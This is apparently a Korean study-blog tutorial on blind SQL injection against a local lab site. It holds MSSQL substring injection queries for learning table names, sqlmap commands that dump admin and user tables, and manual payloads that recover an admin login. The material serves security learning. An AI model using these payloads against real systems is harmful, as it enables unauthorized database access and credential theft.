1.페이지의 변화(로그인유무,검색유무...)//홈페이지의 변화가 있다 없다만 감지
2.substring

select substring('test message', 1, 3); //substring 첫번째 글자부터 3글자를 잘라온다
 
select * from member where user_id='pt69' and substring(db_name(),2,1)='n' -- and user_pw='';   //MSSQL
   


응용
테이블명 알아오기
select * from member where user_id='pt69' and substring((select top 1 name from (select top 1 name from sysobjects where xtype='u' order by name asc) as newtable order by name desc),2,1)>'n' --' and user_pw='';
 

테이블명의 두 번째글자는 n보다 작음을 알 수 있다. 이렇게 blind sql을 사용할 수 있다.

SQLMAP 자동화도구 이용

Blind Injection 자동(sqlmap 사용)
운영체제 : Kali Linux
개발 언어 : PHP
Database : MySQL
사용 tool : SQL MAP
공격 대상 domain: http://192.168.1.136/aircon

파라미터에 '를 넣어 페이지 변화가 있는지 확인

페이지 변화 확인


  
root@kali:~# sqlmap -u "http://192.168.1.136/aircon/admin/admin_process.php?admin_id=1234&admin_passwd=1234" --level=5 --risk=3 -v 3

 

DB확인 root@kali:~# sqlmap -u "http://192.168.1.136/aircon/admin/admin_process.php?admin_id=1234&admin_passwd=1234" --level=5 --risk=3 --dbs -v 3

 

root@kali:~# sqlmap -u "http://192.168.1.136/aircon/admin/admin_process.php?admin_id=1234&admin_passwd=1234" --level=5 --risk=3 -D aircon --tables -v 3

 

admin 테이블 정보 root@kali:~# sqlmap -u "http://192.168.1.136/aircon/admin/admin_process.php?admin_id=1234&admin_passwd=1234" --level=5 --risk=3 -D aircon -T admin --dump -v 3
users 테이블 정보 root@kali:~# sqlmap -u "http://192.168.1.136/aircon/admin/admin_process.php?admin_id=1234&admin_passwd=1234" --level=5 --risk=3 -D aircon -T users --dump -v 3

bind injection 수동(substring 활용)


blind 인젝션 관리자 ID , PW 공격(수동)

pt69' and (select substring((select A_id from admin),1,1) < 'n')#
관리자 ID의 첫글자는 n보다 크다. 아래와 같이 >=‘n'으로 수정 하여 시도


pt69' and (select substring((select A_id from admin),1,1) >= 'n')#


정상적으로 로그인이 되는 것을 화인할 수 있다. 이로써 관리자 계정의 id첫글자가 n보다 크거나 같다는 것알 수 있다.

 

 

위와 같이 관리자 계정의 첫글자가 n~z사이임을 알 수 있었다.

password 역시 같은 인젝션 쿼리로 시도해보면 된다.

pt69' and (select substring((select A_pass from admin),1,1) >= 'n')#
로그인이 성공한다 이로써 관리자의 password의 첫글자는 n 보다 크거나 같음을 알수 있다.

이와 같은 방법으로 범위를 추려나가면 관리자의 idpassword를 모두 확인할 수 있다.
관리자 ID = testaircon
관리자 PW = testaircon


관리자 페이지 접속 확인

'정보보안 > Web' 카테고리의 다른 글

Mass SQL Injection  (728) 2020.07.15
Stored Procesure,CMD shell  (735) 2020.07.15
내장 SQL 활용  (752) 2020.07.15
CSRF(Cross-site request forgery)공격  (0) 2020.07.15
XSS 공격 우회 및 방어  (0) 2020.07.15

+ Recent posts